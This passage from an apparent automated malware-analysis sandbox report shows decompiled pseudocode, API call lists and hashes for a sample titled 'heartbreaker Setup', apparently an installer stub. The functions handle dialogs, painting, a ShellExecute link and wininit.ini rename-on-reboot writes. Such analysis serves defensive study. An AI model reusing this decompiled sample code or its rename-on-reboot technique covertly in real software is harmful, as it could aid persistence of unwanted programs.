								_push(1);
							} else {
								_push(_t133);
							}
							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, 1);
							__eflags =  *0x423f0c - _t133; // 0x0
							if(__eflags == 0) {
								_push( *0x420470);
							} else {
								SendMessageA(_t125, 0x401, 2, _t133);
								_push( *0x41f438);
							}
							E00403DC4();
							E004059DD(0x420478, "heartbreaker Setup");
							E004059FF(0x420478, _t125, _t130,  &(0x420478[lstrlenA(0x420478)]),  *((intOrPtr*)(_t130 + 0x18)));
							SetWindowTextA(_t125, 0x420478);
							_push(_t133);
							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t130 - _t133;
								if( *_t130 == _t133) {
									continue;
								}
								__eflags =  *(_t130 + 4) - 5;
								if( *(_t130 + 4) != 5) {
									DestroyWindow( *0x423658);
									 *0x41fc48 = _t130;
									__eflags =  *_t130 - _t133;
									if( *_t130 <= _t133) {
										goto L58;
									}
									_t73 = CreateDialogParamA( *0x423e80,  *_t130 +  *0x423660 & 0x0000ffff, _t125,  *(0x4091a8 +  *(_t130 + 4) * 4), _t130);
									__eflags = _t73 - _t133;
									 *0x423658 = _t73;
									if(_t73 == _t133) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t130 + 0x2c)));
									_push(6);
									E00403D8F(_t73);
									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
									ScreenToClient(_t125, _t134 + 0x10);
									SetWindowPos( *0x423658, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
									_push(_t133);
									E00401389( *((intOrPtr*)(_t130 + 0xc)));
									__eflags =  *0x42364c - _t133; // 0x0
									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x423658, 8);
									E00403DDB(0x405);
									goto L58;
								}
								__eflags =  *0x423f0c - _t133; // 0x0
								if(__eflags != 0) {
									goto L61;
								}
								__eflags =  *0x423f00 - _t133; // 0x20
								if(__eflags != 0) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x423658);
						 *0x423e88 = _t133;
						EndDialog(_t125,  *0x41f840);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t130 - _t133;
							if( *_t130 == _t133) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L33;
						}
						SendMessageA( *0x423658, 0x40f, 0, 1);
						__eflags =  *0x42364c - _t133; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t125 = _a4;
					_t133 = 0;
					if(_t115 == 0x47) {
						SetWindowPos( *0x420450, _t125, 0, 0, 0, 0, 0x13);
					}
					if(_t115 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x420450,  ~(_a12 - 1) & _t115);
					}
					if(_t115 != 0x40d) {
						__eflags = _t115 - 0x11;
						if(_t115 != 0x11) {
							__eflags = _t115 - 0x111;
							if(_t115 != 0x111) {
								L26:
								return E00403DF6(_t115, _a12, _a16);
							}
							_t132 = _a12 & 0x0000ffff;
							_t126 = GetDlgItem(_t125, _t132);
							__eflags = _t126 - _t133;
							if(_t126 == _t133) {
								L13:
								__eflags = _t132 - 1;
								if(_t132 != 1) {
									__eflags = _t132 - 3;
									if(_t132 != 3) {
										_t127 = 2;
										__eflags = _t132 - _t127;
										if(_t132 != _t127) {
											L25:
											SendMessageA( *0x423658, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x423f0c - _t133; // 0x0
										if(__eflags == 0) {
											_t99 = E0040140B(3);
											__eflags = _t99;
											if(_t99 != 0) {
												goto L26;
											}
											 *0x41f840 = 1;
											L21:
											_push(0x78);
											L22:
											E00403D68();
											goto L26;
										}
										E0040140B(_t127);
										 *0x41f840 = _t127;
										goto L21;
									}
									__eflags =  *0x4091a4 - _t133; // 0xffffffff
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t132);
								goto L22;
							}
							SendMessageA(_t126, 0xf3, _t133, _t133);
							_t103 = IsWindowEnabled(_t126);
							__eflags = _t103;
							if(_t103 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t125, _t133, _t133);
						return 1;
					} else {
						DestroyWindow( *0x423658);
						 *0x423658 = _a12;
						L58:
						if( *0x421478 == _t133) {
							_t142 =  *0x423658 - _t133; // 0x0
							if(_t142 != 0) {
								ShowWindow(_t125, 0xa);
								 *0x421478 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}

0x004038c5
0x004038ce
0x00403a0f
0x00403a13
0x00403a17
0x00403a19
0x00403a1e
0x00403a29
0x00403a34
0x00403a39
0x00403a3b
0x00403a3d
0x00403a40
0x00403a45
0x00403a53
0x00403a60
0x00403a67
0x00403a67
0x00403a68
0x00403a68
0x00403a6d
0x00403a73
0x00403a7a
0x00403a80
0x00403a82
0x00403ac2
0x00403ac7
0x00403acc
0x00403acc
0x00403ad1
0x00403ada
0x00403adc
0x00403ae1
0x00403ae7
0x00403aeb
0x00403aeb
0x00403af0
0x00403af6
0x00000000
0x00000000
0x00403afc
0x00403b01
0x00403b07
0x00000000
0x00000000
0x00403b10
0x00403b18
0x00403b1d
0x00403b20
0x00403b26
0x00403b2b
0x00403b2e
0x00403b34
0x00403b39
0x00403b3c
0x00403b42
0x00403b4a
0x00403b50
0x00403b56
0x00403b5a
0x00403b61
0x00403b61
0x00403b61
0x00403b6b
0x00403b7d
0x00403b89
0x00403b8e
0x00403b98
0x00403b9e
0x00403ba0
0x00403ba5
0x00403ba2
0x00403ba2
0x00403ba2
0x00403bb5
0x00403bcd
0x00403bcf
0x00403bd5
0x00403bea
0x00403bd7
0x00403be0
0x00403be2
0x00403be2
0x00403bf0
0x00403c00
0x00403c11
0x00403c18
0x00403c1e
0x00403c22
0x00403c27
0x00403c29
0x00000000
0x00403c2f
0x00403c2f
0x00403c31
0x00000000
0x00000000
0x00403c37
0x00403c3b
0x00403c60
0x00403c66
0x00403c6c
0x00403c6e
0x00000000
0x00000000
0x00403c94
0x00403c9a
0x00403c9c
0x00403ca1
0x00000000
0x00000000
0x00403ca7
0x00403caa
0x00403cad
0x00403cc4
0x00403cd0
0x00403ce9
0x00403cef
0x00403cf3
0x00403cf8
0x00403cfe
0x00000000
0x00000000
0x00403d08
0x00403d13
0x00000000
0x00403d13
0x00403c3d
0x00403c43
0x00000000
0x00000000
0x00403c49
0x00403c4f
0x00000000
0x00000000
0x00000000
0x00403c55
0x00403c29
0x00403d20
0x00403d2c
0x00403d33
0x00000000
0x00403a84
0x00403a84
0x00403a87
0x00403aba
0x00403aba
0x00403abc
0x00000000
0x00000000
0x00000000
0x00403abc
0x00403a89
0x00403a8d
0x00403a92
0x00403a94
0x00000000
0x00000000
0x00403aa4
0x00403aac
0x00000000
0x00403ab2
0x004038e0
0x004038e0
0x004038e4
0x004038e9
0x004038f8
0x004038f8
0x00403901
0x0040390a
0x00403915
0x00403915
0x00403921
0x0040393d
0x00403940
0x00403953
0x00403959
0x004039fc
0x00000000
0x00403a05
0x0040395f
0x0040396c
0x0040396e
0x00403970
0x0040398f
0x0040398f
0x00403992
0x00403997
0x0040399a
0x004039aa
0x004039ab
0x004039ad
0x004039e3
0x004039f6
0x00000000
0x004039f6
0x004039af
0x004039b5
0x004039ce
0x004039d3
0x004039d5
0x00000000
0x00000000
0x004039d7
0x004039c3
0x004039c3
0x004039c5
0x004039c5
0x00000000
0x004039c5
0x004039b8
0x004039bd
0x00000000
0x004039bd
0x0040399c
0x004039a2
0x00000000
0x00000000
0x004039a4
0x00000000
0x004039a4
0x00403994
0x00000000
0x00403994
0x0040397a
0x00403981
0x00403987
0x00403989
0x00000000
0x00000000
0x00000000
0x00403989
0x00403945
0x00000000
0x00403923
0x00403929
0x00403933
0x00403d39
0x00403d3f
0x00403d41
0x00403d47
0x00403d4c
0x00403d52
0x00403d52
0x00403d47
0x00403d5c
0x00000000
0x00403d5c
0x00403921

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004038F8
ShowWindow.USER32(?), ref: 00403915
DestroyWindow.USER32 ref: 00403929
SetWindowLongA.USER32 ref: 00403945
GetDlgItem.USER32 ref: 00403966
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 0040397A
IsWindowEnabled.USER32(00000000), ref: 00403981
GetDlgItem.USER32 ref: 00403A2F
GetDlgItem.USER32 ref: 00403A39
SetClassLongA.USER32(?,000000F2,?,0000001C,000000FF), ref: 00403A53
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403AA4
GetDlgItem.USER32 ref: 00403B4A
ShowWindow.USER32(00000000,?), ref: 00403B6B
EnableWindow.USER32(?,?), ref: 00403B7D
EnableWindow.USER32(?,?), ref: 00403B98
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403BAE
EnableMenuItem.USER32 ref: 00403BB5
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403BCD
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403BE0
lstrlenA.KERNEL32(00420478,?,00420478,heartbreaker Setup), ref: 00403C09
SetWindowTextA.USER32(?,00420478), ref: 00403C18
ShowWindow.USER32(?,0000000A), ref: 00403D4C

Strings

heartbreaker Setup, xrefs: 00403BFA

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: heartbreaker Setup
API String ID: 184305955-2065336087
Opcode ID: d8b962e911b7c253e61e73d21e88cb3add85ad3b5a8fe6332aee3bd0e594c397
Instruction ID: 874aaf0cc80a4ada72e8b6aceb9d73cb056a569e4b675a7f159d56e4bf17f1bf
Opcode Fuzzy Hash: d8b962e911b7c253e61e73d21e88cb3add85ad3b5a8fe6332aee3bd0e594c397
Instruction Fuzzy Hash: F9C18E71A04204BBDB206F21ED85E2B3E7CEB05746F40453EF641B52F1C779AA429B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403ED7, Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00403ED7(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				intOrPtr _t71;
				intOrPtr _t85;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t107;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L11:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x420458 =  *0x420458 + 1;
							}
							L25:
							_t110 = _a16;
							L26:
							return E00403DF6(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b &&  *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
							_t100 =  *((intOrPtr*)(_t110 + 0x1c));
							_t109 =  *((intOrPtr*)(_t110 + 0x18));
							_v12 = _t100;
							_v16 = _t109;
							_v8 = 0x422e20;
							if(_t100 - _t109 < 0x800) {
								SendMessageA(_t52, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorA(0, 0x7f02));
								_t40 =  &_v8; // 0x422e20
								ShellExecuteA(_a4, "open",  *_t40, 0, 0, 1);
								SetCursor(LoadCursorA(0, 0x7f00));
								_t110 = _a16;
							}
						}
						if( *((intOrPtr*)(_t110 + 8)) != 0x700 ||  *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
							goto L26;
						} else {
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x423e88, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x423e88, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x420458 != 0) {
						goto L25;
					} else {
						_t112 =  *0x41fc48 + 0x14;
						if(( *_t112 & 0x00000020) == 0) {
							goto L25;
						}
						 *_t112 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00403DB1(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404162();
						goto L11;
					}
				}
				_t98 = _a16;
				_t113 =  *(_t98 + 0x30);
				if(_t113 < 0) {
					_t107 =  *0x42365c; // 0x7b767e
					_t113 =  *(_t107 - 4 + _t113 * 4);
				}
				_t71 =  *0x423eb8; // 0x7b5ac4
				_push( *((intOrPtr*)(_t98 + 0x34)));
				_t114 = _t113 + _t71;
				_push(0x22);
				_a16 =  *_t114;
				_v12 = _v12 & 0x00000000;
				_t115 = _t114 + 1;
				_v16 = _t115;
				_v8 = E00403EA3;
				E00403D8F(_a4);
				_push( *((intOrPtr*)(_t98 + 0x38)));
				_push(0x23);
				E00403D8F(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00403DB1( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
				_t99 = GetDlgItem(_a4, 0x3e8);
				E00403DC4(_t99);
				SendMessageA(_t99, 0x45b, 1, 0);
				_t85 =  *0x423e90; // 0x7afb48
				_t86 =  *(_t85 + 0x68);
				if(_t86 < 0) {
					_t86 = GetSysColor( ~_t86);
				}
				SendMessageA(_t99, 0x443, 0, _t86);
				SendMessageA(_t99, 0x445, 0, 0x4010000);
				 *0x41f43c =  *0x41f43c & 0x00000000;
				SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
				SendMessageA(_t99, 0x449, _a16,  &_v16);
				 *0x420458 =  *0x420458 & 0x00000000;
				return 0;
			}

0x00403ee7
0x0040400d
0x00404069
0x0040406d
0x00404144
0x00404146
0x00404146
0x0040414c
0x0040414c
0x0040414f
0x00000000
0x00404156
0x0040407b
0x0040407d
0x00404087
0x00404092
0x00404095
0x00404098
0x004040a3
0x004040a6
0x004040ad
0x004040bb
0x004040d3
0x004040db
0x004040e6
0x004040f6
0x004040f8
0x004040f8
0x004040ad
0x00404102
0x00000000
0x0040410d
0x00404111
0x00404122
0x00404122
0x00404128
0x00404136
0x00404136
0x00000000
0x0040413a
0x00404102
0x00404018
0x00000000
0x0040402c
0x00404032
0x00404038
0x00000000
0x00000000
0x0040405d
0x0040405f
0x00404064
0x00000000
0x00404064
0x00404018
0x00403eed
0x00403ef0
0x00403ef5
0x00403ef7
0x00403f06
0x00403f06
0x00403f08
0x00403f0d
0x00403f10
0x00403f12
0x00403f17
0x00403f20
0x00403f26
0x00403f32
0x00403f35
0x00403f3e
0x00403f43
0x00403f46
0x00403f4b
0x00403f62
0x00403f69
0x00403f7c
0x00403f7f
0x00403f94
0x00403f96
0x00403f9b
0x00403fa0
0x00403fa5
0x00403fa5
0x00403fb4
0x00403fc3
0x00403fc5
0x00403fdb
0x00403fea
0x00403fec
0x00000000

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00403F62
GetDlgItem.USER32 ref: 00403F76
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 00403F94
GetSysColor.USER32(?), ref: 00403FA5
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00403FB4
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00403FC3
lstrlenA.KERNEL32(?), ref: 00403FCD
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00403FDB
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00403FEA
GetDlgItem.USER32 ref: 0040404D
SendMessageA.USER32(00000000), ref: 00404050
GetDlgItem.USER32 ref: 0040407B
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004040BB
LoadCursorA.USER32 ref: 004040CA
SetCursor.USER32(00000000), ref: 004040D3
ShellExecuteA.SHELL32(0000070B,open, .B,00000000,00000000,00000001), ref: 004040E6
LoadCursorA.USER32 ref: 004040F3
SetCursor.USER32(00000000), ref: 004040F6
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404122
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404136

Strings

N, xrefs: 00404069
.B, xrefs: 004040DB
~v{, xrefs: 00403EF7
open, xrefs: 004040DE

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: .B$N$open$~v{
API String ID: 3615053054-3022080466
Opcode ID: da112c14776137c7bd89e7c73a234b8b17dddee6ca60b81d448b510bce2e22e9
Instruction ID: 4310844e4bc5412d85e0e67e924f78a0a7df87fdbfd2fc52009ff806257c2229
Opcode Fuzzy Hash: da112c14776137c7bd89e7c73a234b8b17dddee6ca60b81d448b510bce2e22e9
Instruction Fuzzy Hash: 3161A1B1A40209BFEB109F60DC45F6A7B69EB54715F108036FB05BA2D1C7B8E951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				intOrPtr _t115;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x423e90; // 0x7afb48
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, "heartbreaker Setup", 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					_t115 =  *0x423e88; // 0x0
					 *((intOrPtr*)(_t102 + 4)) = _t115;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x00401019
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,heartbreaker Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
heartbreaker Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$heartbreaker Setup
API String ID: 941294808-1843631586
Opcode ID: a16a50f16efb259b1f94ca86ef79a5d51e0f349a280e4e705ab109419a7a434d
Instruction ID: 87972a138d556bacb88ba9c7fcdf6f47da3ec758f00315b8b39b68d2b09e4b9a
Opcode Fuzzy Hash: a16a50f16efb259b1f94ca86ef79a5d51e0f349a280e4e705ab109419a7a434d
Instruction Fuzzy Hash: 6441BC71804249AFCB058FA4CD459BFBFB9FF44314F00812AF951AA1A0C378EA54DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040572B, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 144
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040572B() {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t15;
				long _t16;
				intOrPtr _t18;
				int _t20;
				void* _t28;
				long _t29;
				intOrPtr* _t37;
				int _t43;
				void* _t44;
				long _t47;
				CHAR* _t49;
				void* _t51;
				void* _t53;
				intOrPtr* _t54;
				void* _t55;
				void* _t56;

				_t15 = E00405CFF(1);
				_t49 =  *(_t55 + 0x18);
				if(_t15 != 0) {
					_t20 =  *_t15( *(_t55 + 0x1c), _t49, 5);
					if(_t20 != 0) {
						L16:
						 *0x423f10 =  *0x423f10 + 1;
						return _t20;
					}
				}
				 *0x422608 = 0x4c554e;
				if(_t49 == 0) {
					L5:
					_t16 = GetShortPathNameA( *(_t55 + 0x1c), 0x422080, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						_t43 = wsprintfA(0x421c80, "%s=%s\r\n", 0x422608, 0x422080);
						_t18 =  *0x423e90; // 0x7afb48
						_t56 = _t55 + 0x10;
						E004059FF(_t43, 0x400, 0x422080, 0x422080,  *((intOrPtr*)(_t18 + 0x128)));
						_t20 = E004056B4(0x422080, 0xc0000000, 4);
						_t53 = _t20;
						 *(_t56 + 0x14) = _t53;
						if(_t53 == 0xffffffff) {
							goto L16;
						}
						_t47 = GetFileSize(_t53, 0);
						_t7 = _t43 + 0xa; // 0xa
						_t51 = GlobalAlloc(0x40, _t47 + _t7);
						if(_t51 == 0 || ReadFile(_t53, _t51, _t47, _t56 + 0x18, 0) == 0 || _t47 !=  *(_t56 + 0x18)) {
							L15:
							_t20 = CloseHandle(_t53);
							goto L16;
						} else {
							if(E00405629(_t51, "[Rename]\r\n") != 0) {
								_t28 = E00405629(_t26 + 0xa, 0x409330);
								if(_t28 == 0) {
									L13:
									_t29 = _t47;
									L14:
									E00405675(_t51 + _t29, 0x421c80, _t43);
									SetFilePointer(_t53, 0, 0, 0);
									WriteFile(_t53, _t51, _t47 + _t43, _t56 + 0x18, 0);
									GlobalFree(_t51);
									goto L15;
								}
								_t37 = _t28 + 1;
								_t44 = _t51 + _t47;
								_t54 = _t37;
								if(_t37 >= _t44) {
									L21:
									_t53 =  *(_t56 + 0x14);
									_t29 = _t37 - _t51;
									goto L14;
								} else {
									goto L20;
								}
								do {
									L20:
									 *((char*)(_t43 + _t54)) =  *_t54;
									_t54 = _t54 + 1;
								} while (_t54 < _t44);
								goto L21;
							}
							E004059DD(_t51 + _t47, "[Rename]\r\n");
							_t47 = _t47 + 0xa;
							goto L13;
						}
					}
				} else {
					CloseHandle(E004056B4(_t49, 0, 1));
					_t16 = GetShortPathNameA(_t49, 0x422608, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						goto L5;
					}
				}
				return _t16;
			}

0x00405731
0x00405738
0x0040573c
0x00405745
0x00405749
0x00405888
0x00405888
0x00000000
0x00405888
0x00405749
0x00405755
0x0040576b
0x00405793
0x0040579e
0x004057a2
0x004057c2
0x004057c4
0x004057c9
0x004057d3
0x004057e0
0x004057e5
0x004057ea
0x004057ee
0x00000000
0x00000000
0x004057fd
0x004057ff
0x0040580c
0x00405810
0x00405881
0x00405882
0x00000000
0x0040582c
0x00405839
0x0040589e
0x004058a5
0x0040584c
0x0040584c
0x0040584e
0x00405857
0x00405862
0x00405874
0x0040587b
0x00000000
0x0040587b
0x004058a7
0x004058a8
0x004058ad
0x004058af
0x004058bc
0x004058bc
0x004058c0
0x00000000
0x00000000
0x00000000
0x00000000
0x004058b1
0x004058b1
0x004058b4
0x004058b7
0x004058b8
0x00000000
0x004058b1
0x00405844
0x00405849
0x00000000
0x00405849
0x00405810
0x0040576d
0x00405778
0x00405781
0x00405785
0x00000000
0x00000000
0x00405785
0x00405892

APIs

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000001,?,00000000,?,?,004054C0,?,00000000,000000F1,?), ref: 00405778
GetShortPathNameA.KERNEL32 ref: 00405781
GetShortPathNameA.KERNEL32 ref: 0040579E
wsprintfA.USER32 ref: 004057BC
GetFileSize.KERNEL32(00000000,00000000,00422080,C0000000,00000004,00422080,?,?,?,00000000,000000F1,?), ref: 004057F7
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 00405806
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 0040581C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421C80,00000000,-0000000A,00409330,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405862
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 00405874
GlobalFree.KERNEL32 ref: 0040587B
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405882

Part of subcall function 00405629: lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405630
Part of subcall function 00405629: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405660

Strings

%s=%s, xrefs: 004057B2
[Rename], xrefs: 0040582C, 0040583E

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeLibraryLoadModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$[Rename]
